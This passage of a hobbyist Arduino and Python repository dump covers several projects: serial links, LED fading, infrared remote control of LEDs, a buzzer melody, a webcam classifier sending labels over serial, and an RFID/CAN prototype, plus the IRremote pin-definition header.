ser.readline(ser.in_waiting) 37 | buff = ctypes.create_string_buffer(raw_data, struct_size) 38 | data = struct.unpack(STRUCT_VARIABLES, buff) 39 | print(data) 40 | global_data = data 41 | except ValueError: 42 | pass 43 | except serial.serialutil.SerialException: 44 | print("Connection Error, retrying...") 45 | 46 | if 0 in data: 47 | return 0 48 | else: 49 | return 1 50 | 51 | 52 | #*************************** SENDING DATA TO ARDUINO ************************ 53 | def send_data(ser, STRUCT_VARIABLES): 54 | result = check_data(global_data) 55 | packet = struct.pack(STRUCT_VARIABLES, *result) 56 | x = ser.write(packet) 57 | if x == 0: 58 | return 0 59 | if ser.out_waiting == 0: 60 | return 0 61 | 62 | ser.flush() 63 | return 1 64 | 65 | #********************************** MAIN *********************************** 66 | if __name__ == "__main__": 67 | port = '/dev/ttyUSB0' 68 | baudrate = 9600 69 | 70 | ser = serial.Serial(port, baudrate, timeout=5) 71 | ser.close() 72 | ser.open() 73 | 74 | STRUCT_VARIABLES = " nextval) { 44 | val --; 45 | } 46 | return val; 47 | } 48 | 49 | void loop() 50 | 51 | { 52 | while (mode == 1) { 53 | RedVal = Fade(RedVal, RedVal1); 54 | BlueVal = Fade(BlueVal, BlueVal1); 55 | GreenVal = Fade(GreenVal, GreenVal1); 56 | 57 | analogWrite(Red, RedVal); 58 | analogWrite(Green, GreenVal); 59 | analogWrite(Blue, BlueVal); 60 | delay(fade); 61 | 62 | if (RedVal == RedVal1 && GreenVal == GreenVal1 && BlueVal == BlueVal1) { 63 | delay(1500); 64 | mode = 2; 65 | } 66 | } 67 | 68 | while (mode == 2) { 69 | RedVal = Fade(RedVal, RedVal2); 70 | BlueVal = Fade(BlueVal, BlueVal2); 71 | GreenVal = Fade(GreenVal, GreenVal2); 72 | 73 | analogWrite(Red, RedVal); 74 | analogWrite(Green, GreenVal); 75 | analogWrite(Blue, BlueVal); 76 | delay(fade); 77 | 78 | if (RedVal == RedVal2 && GreenVal == GreenVal2 && BlueVal == BlueVal2) { 79 | delay(1500); 80 | mode = 3; 81 | 82 | } 83 | } 84 | 85 | while (mode == 3) { 86 | RedVal = Fade(RedVal, RedVal3); 87 | BlueVal = Fade(BlueVal, BlueVal3); 88 | GreenVal = Fade(GreenVal, GreenVal3); 89 | analogWrite(Red, RedVal); 90 | analogWrite(Green, GreenVal); 91 | analogWrite(Blue, BlueVal); 92 | delay(fade); 93 | 94 | if (RedVal == RedVal3 && GreenVal == GreenVal3 && BlueVal == BlueVal3) { 95 | delay(1500); 96 | mode = 4; 97 | 98 | } 99 | } 100 | 101 | while (mode == 4) { 102 | RedVal = Fade(RedVal, RedVal4); 103 | BlueVal = Fade(BlueVal, BlueVal4); 104 | GreenVal = Fade(GreenVal, GreenVal4); 105 | analogWrite(Red, RedVal); 106 | analogWrite(Green, GreenVal); 107 | analogWrite(Blue, BlueVal); 108 | delay(fade); 109 | 110 | if (RedVal == RedVal4 && GreenVal == GreenVal4 && BlueVal == BlueVal4) { 111 | delay(1500); 112 | mode = 1; 113 | 114 | } 115 | } 116 | 117 | } 118 | -------------------------------------------------------------------------------- /IR/IR.ino: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include "PinDefinitionsAndMore.h" 4 | #include 5 | 6 | #define FRANCO 9 7 | #define IR_RECEIVE_PIN 2 8 | 9 | void setup() { 10 | pinMode(FRANCO, OUTPUT); 11 | TCCR1B = (TCCR1B & 0b11111000 | 0x02); 12 | Serial.begin(115200); 13 | IrReceiver.begin(IR_RECEIVE_PIN); 14 | 15 | Serial.print(F("Ready to receive IR signals at pin ")); 16 | Serial.println(IR_RECEIVE_PIN); 17 | } 18 | 19 | 20 | unsigned long last = millis(); 21 | int ledStatus = 0; 22 | int pwm = 255; 23 | 24 | void loop() { 25 | if (IrReceiver.decode()) { 26 | if (millis() - last > 250) { 27 | 28 | switch (IrReceiver.decodedIRData.command) { 29 | case 0x43: ledStatus = !ledStatus; 30 | if (ledStatus) 31 | analogWrite(FRANCO, pwm); 32 | else 33 | analogWrite(FRANCO, 0); 34 | break; 35 | case 0x7: if (pwm > 1) { 36 | pwm -= 5; 37 | if (ledStatus) 38 | analogWrite(FRANCO, pwm); 39 | } 40 | break; 41 | case 0x15: 42 | if (pwm < 254) { 43 | pwm += 5; 44 | if (ledStatus) 45 | analogWrite(FRANCO, pwm); 46 | } 47 | break; 48 | case 0xC: 49 | pwm = 30; 50 | if (ledStatus) 51 | analogWrite(FRANCO, pwm); 52 | break; 53 | case 0x18: 54 | pwm = 60; 55 | if (ledStatus) 56 | analogWrite(FRANCO, pwm); 57 | break; 58 | case 0x5E: 59 | pwm = 90; 60 | if (ledStatus) 61 | analogWrite(FRANCO, pwm); 62 | break; 63 | case 0x8: 64 | pwm = 120; 65 | if (ledStatus) 66 | analogWrite(FRANCO, pwm); 67 | break; 68 | case 0x1C: 69 | pwm = 150; 70 | if (ledStatus) 71 | analogWrite(FRANCO, pwm); 72 | break; 73 | case 0x5A: 74 | pwm = 180; 75 | if (ledStatus) 76 | analogWrite(FRANCO, pwm); 77 | break; 78 | case 0x42: 79 | pwm = 210; 80 | if (ledStatus) 81 | analogWrite(FRANCO, pwm); 82 | break; 83 | case 0x52: 84 | pwm = 232; 85 | if (ledStatus) 86 | analogWrite(FRANCO, pwm); 87 | break; 88 | case 0x4a: 89 | pwm = 255; 90 | if (ledStatus) 91 | analogWrite(FRANCO, pwm); 92 | break; 93 | case 0x16: 94 | pwm = 0; 95 | if (ledStatus) 96 | analogWrite(FRANCO, pwm); 97 | break; 98 | } 99 | 100 | IrReceiver.printIRResultShort(&Serial); 101 | Serial.println(pwm); 102 | } 103 | IrReceiver.resume(); 104 | last = millis(); 105 | } 106 | } 107 | -------------------------------------------------------------------------------- /PERFECT_ED_SHEERAN_BUZZER/PERFECT_ED_SHEERAN_BUZZER.ino: -------------------------------------------------------------------------------- 1 | #define buzzer 10 2 | const int songspeed = 1; 3 | #define Do4 262 4 | #define Re4 294 5 | #define Mi4 330 6 | #define Fa4 349 7 | #define Sol4 392 8 | #define La4 440 9 | #define Si4 494 10 | #define Do5 523 11 | #define Re5 587 12 | #define Mi5 659 13 | #define Fa5 698 14 | #define Sol5 784 15 | #define La5 880 16 | #define Si5 988 17 | 18 | int notes[] = { 19 | Re4, Mi4, Sol4, Sol4, //4 20 | Si4, La4, 0, Sol4, Si4, //9 21 | La4, Si4, Si4, Si4, Sol4, Sol4, //15 22 | Sol4, La4, Si4, La4,//19 23 | Si4, La4, 0, Sol4, Si4,//24 24 | Re5, Si4, La4, 0, Sol4, Sol4, Sol4,//31 25 | Sol4, Sol4, La4, Si4, Do5,//36 26 | Do5, Si4,//38 27 | La4, La4, Sol4,//41 28 | Sol4, La4, Si4, La4,//45 29 | Si4,//46 30 | Re5, Re5, Re5, Mi5, Si4, La4,//52 31 | 0, Si4, 0, Si4, 0, Si4,//58 32 | Si4, La4, Sol4,//61 33 | 0, Si4, 0, Si4, 0, Si4,//67 34 | Sol4, La4, Si4,//70 35 | Do5, Si4, Sol4, Re4, Si4,//75 36 | Si4, Do5, Si4, La4,//79 37 | Si4, La4, 0, Sol4,//83 38 | 0, Si4, 0, Si4, 0, Si4,//89 39 | Si4, La4, 0, Sol4,//93 40 | 0, Si4, 0, Si4, 0, Si4,//99 41 | Sol4, La4, Si4,//102 42 | 0, Do5, 0, Si4, 0, Sol4, 0, Re4,//110 43 | La4, Si4, Re5, Si4, La4, Sol4, //116 44 | Sol5, Mi5, Re5, Mi5, Si4, //121 45 | Re4, Re5, Do5, Si4, La4, 0, Sol4, //128 46 | Sol5, Mi5, Re5, Sol4,//132 47 | Si4, La4, 0, Sol4,//136 48 | Re4, Re5, Re5, Re5, Re5, Re5, Mi5,//143 49 | Si4, La4, 0, Sol4, Si4, Re5, Sol5,//150 50 | Fa5, Mi5, Fa5,//153 51 | Si4, Sol4, La4, Si4, Re5, Do5, Si4, Do5,//161 52 | Si4, La4, Do5, Si4, Sol4, La4, //167 53 | Si4, La4, La4, 0, Sol4, Sol4,0 //174 54 | 55 | 56 | }; 57 | //***************************************** 58 | int duration[] = { //duration of each note (in ms) Quarter Note is set to 250 ms 59 | 333, 333, 333, 2800,//4 60 | 333, 333, 10, 333, 2800,//9 61 | 333, 333, 333, 333, 333, 2100,//15 62 | 333, 333, 333, 2600,//19 63 | 333, 333, 10, 333, 2800,//24 64 | 700 , 333, 333, 10, 333, 333, 1800,//31 65 | 333, 333, 333, 333, 700,//36 66 | 333, 700,//38 67 | 333, 333, 700,//41 68 | 333, 333, 333, 2000,//45 69 | 1000,//46 70 | 333, 333, 333, 333, 333, 333,//52 71 | 10, 1000, 10, 1000, 10, 1000,//58 72 | 333, 333, 333,//61 73 | 10, 1000, 10, 1000, 10, 1000,//67 74 | 333, 333, 333,//70 75 | 1000, 1000, 1000, 1000, 1700,//75 76 | 330, 330, 330, 1000,//79 77 | 330, 330, 10, 330,//83 78 | 10, 1000, 10, 1000, 10, 1000,//89 79 | 330, 330, 10, 330,//93 80 | 10, 1000, 10, 1000, 10, 1000,//99 81 | 333, 333, 333,//102 82 | 10, 1000, 10, 1000, 10, 1000, 10, 1000,//110 83 | 1000 , 1000, 1000, 330, 330, 2200,//116 84 | 660, 330, 660, 330, 1600, //121 85 | 330, 660, 330, 660, 330, 10, 2200, //128 86 | 660, 330, 660, 330,//132 87 | 330, 200, 10, 660, //136 88 | 330, 330, 330, 330, 330, 330, 330,//143 89 | 330, 330, 10, 660, 330, 330, 660, //150 90 | 330, 660, 330,//153 91 | 1000, 330, 330, 330, 660, 330, 660, 330,//161 92 | 1000, 1000, 1000, 660, 200, 200,//167 93 | 1000, 1000, 1000, 10, 660, 1000,////173 94 | 95 | }; 96 | 97 | void setup() { 98 | pinMode(buzzer, OUTPUT); 99 | for (int i = 0; i < 179; i++) { 100 | int wait = duration[i] * songspeed; 101 | tone(buzzer, notes[i], wait); //tone(pin,frequency,duration) 102 | delay(wait); 103 | } 104 | 105 | } 106 | 107 | void loop() { 108 | 109 | } 110 | -------------------------------------------------------------------------------- /ARDUINO_TEACHABLE_MACHINE/ARDUINO_AI/main.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | import numpy as np 3 | from keras.models import load_model 4 | import serial 5 | 6 | import sys 7 | import glob 8 | from time import sleep 9 | 10 | 11 | def serial_ports(): 12 | """ Lists serial port names 13 | 14 | :raises EnvironmentError: 15 | On unsupported or unknown platforms 16 | :returns: 17 | A list of the serial ports available on the system 18 | """ 19 | if sys.platform.startswith('win'): 20 | ports = ['COM%s' % (i + 1) for i in range(256)] 21 | elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'): 22 | # this excludes your current terminal "/dev/tty" 23 | ports = glob.glob('/dev/tty[A-Za-z]*') 24 | elif sys.platform.startswith('darwin'): 25 | ports = glob.glob('/dev/tty.*') 26 | else: 27 | raise EnvironmentError('Unsupported platform') 28 | 29 | result = [] 30 | for port in ports: 31 | try: 32 | s = serial.Serial(port) 33 | s.close() 34 | result.append(port) 35 | except (OSError, serial.SerialException): 36 | pass 37 | return result 38 | 39 | 40 | if __name__ == '__main__': 41 | print(serial_ports()) 42 | sleep(2) # waits 2 seconds 43 | 44 | PORT = "COM3" # selected port that we will use for communicating with arduino 45 | 46 | print("[ARDUINO AI] Loading model (it may take some time)...") 47 | model = load_model('keras_model.h5') 48 | print("[ARDUINO AI] model loaded successfully") 49 | 50 | print("[ARDUINO AI] opening camera") 51 | camera = cv2.VideoCapture(0) 52 | 53 | print("[ARDUINO AI] loading labels") 54 | labels = open('labels.txt', 'r').readlines() 55 | 56 | print("[ARDUINO AI] opening serial communication") 57 | ser = serial.Serial(PORT) 58 | ser.baudrate = 9600 59 | 60 | while not camera.isOpened(): 61 | print("[ARDUINO AI]: Error, camera unavailable. Check if other programs are using the camera") 62 | exit(-1) 63 | 64 | while True: 65 | ret, image = camera.read() # catches an image from the camera 66 | 67 | if not ret: 68 | print("[ARDUINO AI]: Error, image is empty. Check if other programs are using the camera") 69 | exit(-1) 70 | 71 | image = cv2.resize(image, (224, 224), interpolation=cv2.INTER_AREA) # Resizes the image into (224-height, 224-width) pixels. 72 | 73 | cv2.imshow('Webcam Image', image) # Shows the image 74 | 75 | # batch - width - height - channels 76 | image = np.asarray(image, dtype=np.float32).reshape(1, 224, 224, 3) # transforms the image to an np.array of float32 and reshapes it to match the NN input shape 77 | 78 | image = (image / 127.5) - 1 # Normalizes the image array 79 | 80 | # Have the model predict what the current image is. Model.predict 81 | # returns an array of percentages. Example:[0.2,0.8] meaning its 20% sure 82 | # it is the first label and 80% sure its the second label. 83 | probabilities = model.predict(image) 84 | 85 | # Print what the highest value probabilitie label 86 | print(labels[np.argmax(probabilities)]) 87 | 88 | # writes the label to arduino through serial 89 | if np.argmax(probabilities) == 0: 90 | ser.write(b'0') 91 | elif np.argmax(probabilities) == 1: 92 | ser.write(b'1') 93 | elif np.argmax(probabilities) == 2: 94 | ser.write(b'2') 95 | else: 96 | ser.write(b'255') 97 | 98 | 99 | keyboard_input = cv2.waitKey(1) # Listens to the keyboard if it is pressed 100 | 101 | 102 | if keyboard_input == 27: # 27 is the ASCII for the ESC key on your keyboard. 103 | print("[ARDUINO AI] quitting") 104 | break 105 | 106 | camera.release() 107 | cv2.destroyAllWindows() 108 | ser.close() -------------------------------------------------------------------------------- /Telecomando_e_ricevitore/Telecomando_e_ricevitore.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int RECV_PIN = 3; 5 | int BUTTON_PIN = 7; 6 | int STATUS_PIN = 13; 7 | int r = 4; 8 | int g = 5; 9 | int b = 6; 10 | 11 | IRrecv irrecv(RECV_PIN); 12 | IRsend irsend; 13 | decode_results results; 14 | 15 | void setup() 16 | { 17 | Serial.begin(9600); 18 | irrecv.enableIRIn(); // Start the receiver 19 | pinMode(STATUS_PIN, OUTPUT); 20 | pinMode(r, OUTPUT); 21 | pinMode(g, OUTPUT); 22 | pinMode(b, OUTPUT); 23 | } 24 | // Storage for the recorded code 25 | int codeType = -1; // The type of code 26 | unsigned long codeValue; // The code value if not raw 27 | 28 | unsigned int rawCodes[RAWBUF]; // The durations if raw 29 | int codeLen; // The length of the code 30 | int toggle = 0; // The RC5/6 toggle state 31 | // Stores the code for later playback 32 | // Most of this code is just logging 33 | void storeCode(decode_results *results) { 34 | codeType = results->decode_type; 35 | int count = results->rawlen; 36 | if (codeType == UNKNOWN) { 37 | Serial.println("Received unknown code, saving as raw"); 38 | codeLen = results->rawlen - 1; 39 | // To store raw codes: 40 | // Drop first value (gap) 41 | // Convert from ticks to microseconds 42 | // Tweak marks shorter, and spaces longer to cancel out IR receiver distortion 43 | for (int i = 1; i <= codeLen; i++) { 44 | if (i % 2) { 45 | // Mark 46 | rawCodes[i - 1] = results->rawbuf[i] * USECPERTICK - MARK_EXCESS; 47 | Serial.print(" m"); 48 | } 49 | else { 50 | // Space 51 | rawCodes[i - 1] = results->rawbuf[i] * USECPERTICK + MARK_EXCESS; 52 | Serial.print(" s"); 53 | } 54 | Serial.print(rawCodes[i - 1], DEC); 55 | } 56 | Serial.println(""); 57 | } 58 | else { 59 | if (codeType == NEC) { 60 | Serial.print("Received NEC: "); 61 | if (results->value == REPEAT) { 62 | // Don't record a NEC repeat value as that's useless. 63 | Serial.println("repeat; ignoring."); 64 | return; 65 | } 66 | } 67 | else if (codeType == SONY) { 68 | Serial.print("Received SONY: "); 69 | } 70 | else if (codeType == RC5) { 71 | Serial.print("Received RC5: "); 72 | } 73 | else if (codeType == RC6) { 74 | Serial.print("Received RC6: "); 75 | } 76 | else { 77 | Serial.print("Unexpected codeType "); 78 | Serial.print(codeType, DEC); 79 | Serial.println(""); 80 | } 81 | Serial.println(results->value, HEX); 82 | codeValue = results->value; 83 | codeLen = results->bits; 84 | } 85 | } 86 | 87 | int lastButtonState; 88 | 89 | void loop() { 90 | 91 | if (irrecv.decode(&results)) { 92 | digitalWrite(STATUS_PIN, HIGH); 93 | storeCode(&results); 94 | //Serial.println(results->value,HEX); 95 | if (codeValue == 16724175) { 96 | digitalWrite(r, LOW); 97 | digitalWrite(g, LOW); 98 | digitalWrite(b, LOW); 99 | Serial.println("spento"); 100 | } 101 | if (codeValue == 16718055) { 102 | digitalWrite(r, HIGH); 103 | digitalWrite(g, LOW); 104 | digitalWrite(b, LOW); 105 | } 106 | if (codeValue == 16743045) { 107 | digitalWrite(r, LOW); 108 | digitalWrite(g, HIGH); 109 | digitalWrite(b, LOW); 110 | } 111 | if (codeValue == 16716015) { 112 | digitalWrite(r, LOW); 113 | digitalWrite(g, LOW); 114 | digitalWrite(b, HIGH); 115 | } 116 | if (codeValue == 16726215) { 117 | digitalWrite(r, LOW); 118 | digitalWrite(g, HIGH); 119 | digitalWrite(b, HIGH); 120 | } 121 | if (codeValue == 16734885) { 122 | digitalWrite(r, HIGH); 123 | digitalWrite(g, HIGH); 124 | digitalWrite(b, LOW); 125 | } 126 | if (codeValue == 16728765) { 127 | digitalWrite(r, HIGH); 128 | digitalWrite(g, LOW); 129 | digitalWrite(b, HIGH); 130 | } 131 | if (codeValue == 16730805) { 132 | digitalWrite(r, HIGH); 133 | digitalWrite(g, HIGH); 134 | digitalWrite(b, HIGH); 135 | } 136 | irrecv.resume(); // resume receiver 137 | digitalWrite(STATUS_PIN, LOW); 138 | } 139 | } 140 | -------------------------------------------------------------------------------- /COM_SERIALE_ARDUINO_PYTHON/ARDUINO_JETSON/ARDUINO_JETSON.ino: -------------------------------------------------------------------------------- 1 | /* 2 | DANIEL ROSSI 2021 © GPLK V3 3 | ENGINEERING DEPARTMENT - UNIVERSITY OF MODENA AND REGGIO EMILIA 4 | REV-21 ECU FIRMWARE 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | /************************* RFID INIT ***********************/ 12 | #define RFID_CS 3 13 | #define RFID_RST 4 14 | 15 | #define USERS 3 16 | #define AUTHDELAY 200 17 | MFRC522 RFID(RFID_CS, RFID_RST); 18 | 19 | String users[USERS] = {"2651253128", "677822862", "519619362"}; 20 | bool auth[USERS] = {false, false, false}; 21 | 22 | bool isAuthenticated = false; 23 | 24 | 25 | /************************* MCP2515 INIT ***********************/ 26 | #define MCP_CS 10 27 | 28 | #define CANDELAY 10 29 | struct can_frame canMsg; 30 | MCP2515 mcp2515(MCP_CS); 31 | 32 | 33 | /************************* USB COMUNICATION INIT ***********************/ 34 | #define USBDELAY 50 35 | bool receive = 0; 36 | 37 | typedef struct packet { 38 | uint8_t bat_temp; 39 | uint8_t bat_volt; 40 | uint8_t throttle; 41 | }; 42 | 43 | 44 | /************************* VOID SETUP ***********************/ 45 | void setup() 46 | { 47 | SPI.begin(); 48 | Serial.begin(9600); 49 | pinMode(12, OUTPUT); 50 | RFID.PCD_Init(); 51 | 52 | mcp2515.reset(); 53 | mcp2515.setBitrate(CAN_500KBPS, MCP_8MHZ); 54 | mcp2515.setNormalMode(); 55 | } 56 | 57 | 58 | /************************* SEND DATA BY CAN BUS ***********************/ 59 | void CANTransmit() { 60 | canMsg.can_id = 0x036; 61 | canMsg.can_dlc = 8; 62 | canMsg.data[0] = isAuthenticated; 63 | canMsg.data[1] = random(0, 50); 64 | canMsg.data[2] = random(50, 100); 65 | canMsg.data[3] = random(100, 150); 66 | canMsg.data[4] = 0x00; 67 | canMsg.data[5] = 0x00; 68 | canMsg.data[6] = 0x00; 69 | canMsg.data[7] = 0x00; 70 | mcp2515.sendMessage(&canMsg); 71 | delay(CANDELAY); 72 | } 73 | 74 | 75 | /************************* GET RFID CARD UID ***********************/ 76 | String getUID() { 77 | if (!RFID.PICC_IsNewCardPresent()) 78 | return ""; 79 | if (!RFID.PICC_ReadCardSerial()) 80 | return ""; 81 | 82 | String UID = ""; 83 | 84 | for (int i = 0; i < RFID.uid.size; i++) { 85 | byte b = RFID.uid.uidByte[i]; 86 | UID += (String)b; 87 | } 88 | return UID; 89 | } 90 | 91 | 92 | /************************* CARD UID AUTH ***********************/ 93 | void authenticate(String UID) { 94 | for (int i = 0; i < USERS; i++) { 95 | if (UID == users[i] & auth[i] == false) { 96 | auth[i] = true; 97 | isAuthenticated = true; 98 | return; 99 | } 100 | } 101 | delay(AUTHDELAY); 102 | } 103 | 104 | 105 | /************************* CARD UID DEAUTH ***********************/ 106 | void deauthenticate(String UID) { 107 | for (int i = 0; i < USERS; i++) { 108 | if (UID == users[i] & auth[i] == true) { 109 | auth[i] = false; 110 | isAuthenticated = false; 111 | return; 112 | } 113 | } 114 | delay(AUTHDELAY); 115 | } 116 | 117 | 118 | /************************* SEND DATA TO JETSON ***********************/ 119 | int USBTransmit(int v1, int v2, int v3) { 120 | if (!Serial.availableForWrite()) 121 | return 0; 122 | packet pack; 123 | pack.bat_temp = v1; 124 | pack.bat_volt = v2; 125 | pack.throttle = v3; 126 | size_t x = Serial.write((byte*) &pack, sizeof(pack)); 127 | Serial.flush(); 128 | 129 | if (x == sizeof(pack)) return 1; 130 | else return 0; 131 | } 132 | 133 | 134 | /************************* RECEIVE DATA FROM JETSON ***********************/ 135 | int USBReceive() { 136 | Serial.flush(); 137 | if (!Serial.available()) 138 | return 0; 139 | size_t bytes = 3; 140 | byte buff[bytes]; 141 | int x = Serial.readBytes(buff, bytes); 142 | if (x != bytes) return 0; 143 | return 1; 144 | } 145 | 146 | //ISCRIVITI :) 147 | 148 | /************************* VOID LOOP ***********************/ 149 | void loop() 150 | { 151 | if (!receive) { 152 | if (USBTransmit(random(50, 60), random(40, 48), random(20, 100))) 153 | receive = 1; 154 | digitalWrite(12,HIGH); 155 | delay(USBDELAY); 156 | } else 157 | { 158 | if (USBReceive()) 159 | receive = 0; 160 | digitalWrite(12,LOW); 161 | delay(USBDELAY); 162 | } 163 | 164 | 165 | /*CANTransmit(); 166 | String UID = getUID(); 167 | if (!isAuthenticated) 168 | authenticate(UID); 169 | else 170 | deauthenticate(UID); 171 | */ 172 | } 173 | -------------------------------------------------------------------------------- /IR/PinDefinitionsAndMore.h: -------------------------------------------------------------------------------- 1 | /* 2 | * PinDefinitionsAndMore.h 3 | * 4 | * Contains pin definitions for IRremote examples for various platforms 5 | * as well as definitions for feedback LED and tone() and includes 6 | * 7 | * Copyright (C) 2021 Armin Joachimsmeyer 8 | * armin.joachimsmeyer@gmail.com 9 | * 10 | * This file is part of IRMP https://github.com/Arduino-IRremote/Arduino-IRremote. 11 | * 12 | * Arduino-IRremote is free software: you can redistribute it and/or modify 13 | * it under the terms of the GNU General Public License as published by 14 | * the Free Software Foundation, either version 3 of the License, or 15 | * (at your option) any later version. 16 | * 17 | * This program is distributed in the hope that it will be useful, 18 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 20 | * GNU General Public License for more details. 21 | * 22 | * You should have received a copy of the GNU General Public License 23 | * along with this program. If not, see . 24 | * 25 | */ 26 | 27 | /* 28 | * Pin mapping table for different platforms 29 | * 30 | * Platform IR input IR output Tone 31 | * ----------------------------------------- 32 | * DEFAULT/AVR 2 3 4 33 | * ATtinyX5 0 4 3 34 | * ATtin167 9 8 5 // Digispark pro number schema 35 | * ATtin167 3 2 7 36 | * ATtin3217 10 11 3 // TinyCore schema 37 | * SAMD21 3 4 5 38 | * ESP8266 14 // D5 12 // D6 % 39 | * ESP32 15 4 % 40 | * BluePill PA6 PA7 PA3 41 | * APOLLO3 11 12 5 42 | */ 43 | //#define IRMP_MEASURE_TIMING // For debugging purposes. 44 | // 45 | #if defined(ESP8266) 46 | #define FEEDBACK_LED_IS_ACTIVE_LOW // The LED on my board is active LOW 47 | #define IR_RECEIVE_PIN 14 // D5 48 | #define IR_SEND_PIN 12 // D6 - D4/2 is internal LED 49 | #define tone(a,b) void() // tone() inhibits receive timer 50 | #define noTone(a) void() 51 | #define TONE_PIN 42 // Dummy for examples using it 52 | #define IR_TIMING_TEST_PIN 13 // D7 53 | 54 | #elif defined(ESP32) 55 | #define IR_RECEIVE_PIN 15 // D15 56 | #define IR_SEND_PIN 4 // D4 57 | #define tone(a,b) void() // no tone() available on ESP32 58 | #define noTone(a) void() 59 | #define TONE_PIN 42 // Dummy for examples using it 60 | 61 | #elif defined(ARDUINO_ARCH_STM32) || defined(ARDUINO_ARCH_STM32F1) 62 | // BluePill in 2 flavors 63 | // Timer 3 of IRMP blocks PA6, PA7, PB0, PB1 for use by Servo or tone() 64 | #define IR_RECEIVE_PIN PA6 65 | #define IR_RECEIVE_PIN_STRING "PA6" 66 | #define IR_SEND_PIN PA7 67 | #define IR_SEND_PIN_STRING "PA7" 68 | #define TONE_PIN PA3 69 | #define IR_TIMING_TEST_PIN PA5 70 | 71 | #elif defined(__AVR_ATtiny25__) || defined(__AVR_ATtiny45__) || defined(__AVR_ATtiny85__) 72 | #include "ATtinySerialOut.h" // Available as Arduino library. saves 370 bytes program space and 38 bytes RAM 73 | #define IR_RECEIVE_PIN 0 74 | #define IR_SEND_PIN 4 // Pin 2 is serial output with ATtinySerialOut. Pin 1 is internal LED and Pin3 is USB+ with pullup on Digispark board. 75 | #define TONE_PIN 3 76 | #define IR_TIMING_TEST_PIN 3 77 | 78 | #elif defined(__AVR_ATtiny87__) || defined(__AVR_ATtiny167__) 79 | #include "ATtinySerialOut.h" 80 | // For ATtiny167 Pins PB6 and PA3 are usable as interrupt source. 81 | # if defined(ARDUINO_AVR_DIGISPARKPRO) 82 | #define IR_RECEIVE_PIN 9 // PA3 - on Digispark board labeled as pin 9 83 | //#define IR_RECEIVE_PIN 14 // PB6 / INT0 is connected to USB+ on DigisparkPro boards 84 | #define IR_SEND_PIN 8 // PA2 - on Digispark board labeled as pin 8 85 | #define TONE_PIN 5 // PA7 86 | #define IR_TIMING_TEST_PIN 10 // PA4 87 | 88 | # else 89 | #define IR_RECEIVE_PIN 3 90 | #define IR_SEND_PIN 2 91 | #define TONE_PIN 7 92 | # endif 93 | 94 | #elif defined(__AVR_ATtiny88__) // MH-ET Tiny88 board 95 | #include "ATtinySerialOut.h" // Available as Arduino library. Saves 128 bytes program space 96 | // Pin 6 is TX pin 7 is RX 97 | #define IR_RECEIVE_PIN 3 // INT1 98 | #define IR_SEND_PIN 4 99 | #define TONE_PIN 9 100 | #define IR_TIMING_TEST_PIN 8 101 | 102 | #elif defined(__AVR_ATtiny3217__) 103 | #define IR_RECEIVE_PIN 10 104 | #define IR_SEND_PIN 11 105 | #define TONE_PIN 3 106 | 107 | # elif defined(__AVR_ATmega1284__) || defined(__AVR_ATmega1284P__) \ 108 | || defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) \ 109 | || defined(__AVR_ATmega324P__) || defined(__AVR_ATmega324A__) \ 110 | || defined(__AVR_ATmega324PA__) || defined(__AVR_ATmega164A__) \ 111 | || defined(__AVR_ATmega164P__) || defined(__AVR_ATmega32__) \ 112 | || defined(__AVR_ATmega16__) || defined(__AVR_ATmega8535__) \ 113 | || defined(__AVR_ATmega64__) || defined(__AVR_ATmega128__) \ 114 | || defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2561__) \ 115 | || defined(__AVR_ATmega8515__) || defined(__AVR_ATmega162__) 116 | #define IR_RECEIVE_PIN 2 117 | #define IR_SEND_PIN 13 118 | #define TONE_PIN 4 119 | #define APPLICATION_PIN 5 120 | #define ALTERNATIVE_IR_FEEDBACK_LED_PIN 6 // E.g. used for examples which use LED_BUILDIN for example output. 121 | #define IR_TIMING_TEST_PIN 7 122 | 123 | #elif defined(ARDUINO_ARCH_APOLLO3) 124 | #define IR_RECEIVE_PIN 11 125 | #define IR_SEND_PIN 12 126 | #define TONE_PIN 5 127 | 128 | #elif defined(ARDUINO_ARCH_MBED) // Arduino Nano 33 BLE 129 | #define IR_RECEIVE_PIN 2 130 | #define IR_SEND_PIN 3 131 | #define TONE_PIN 4 132 | #define APPLICATION_PIN 5 133 | #define ALTERNATIVE_IR_FEEDBACK_LED_PIN 6 // E.g. used for examples which use LED_BUILDIN for example output. 134 | #define IR_TIMING_TEST_PIN 7 135 | 136 | #elif defined(TEENSYDUINO) 137 | #define IR_RECEIVE_PIN 2 138 | #define IR_SEND_PIN 3 139 | #define TONE_PIN 4 140 | #define APPLICATION_PIN 5 141 | #define ALTERNATIVE_IR_FEEDBACK_LED_PIN 6 // E.g. used for examples which use LED_BUILDIN for example output. 142 | #define IR_TIMING_TEST_PIN 7 143 | 144 | #elif defined(__AVR__) 145 | #define IR_RECEIVE_PIN 2 // To be compatible with interrupt example, pin 2 is chosen here. 146 | #define IR_SEND_PIN 3 147 | #define TONE_PIN 4 148 | #define APPLICATION_PIN 5 149 | #define ALTERNATIVE_IR_FEEDBACK_LED_PIN 6 // E.g. used for examples which use LED_BUILDIN for example output. 150 | #define IR_TIMING_TEST_PIN 7 151 | 152 | #elif defined(ARDUINO_ARCH_SAMD) || defined(ARDUINO_ARCH_SAM) 153 | #define IR_RECEIVE_PIN 2 154 | #define IR_SEND_PIN 3 155 | #define TONE_PIN 4 156 | #define APPLICATION_PIN 5 157 | #define ALTERNATIVE_IR_FEEDBACK_LED_PIN 6 // E.g. used for examples which use LED_BUILDIN for example output. 158 | #define IR_TIMING_TEST_PIN 7 159 | 160 | // On the Zero and others we switch explicitly to SerialUSB 161 | #define Serial SerialUSB 162 | 163 | // Definitions for the Chinese SAMD21 M0-Mini clone, which has no led connected to D13/PA17. 164 | // Attention!!! D2 and D4 are switched on these boards!!! 165 | // If you connect the LED, it is on pin 24/PB11. In this case activate the next two lines. 166 | //#undef LED_BUILTIN 167 | //#define LED_BUILTIN 24 // PB11 168 | // As an alternative you can choose pin 25, it is the RX-LED pin (PB03), but active low.In this case activate the next 3 lines. 169 | //#undef LED_BUILTIN 170 | //#define LED_BUILTIN 25 // PB03 171 | 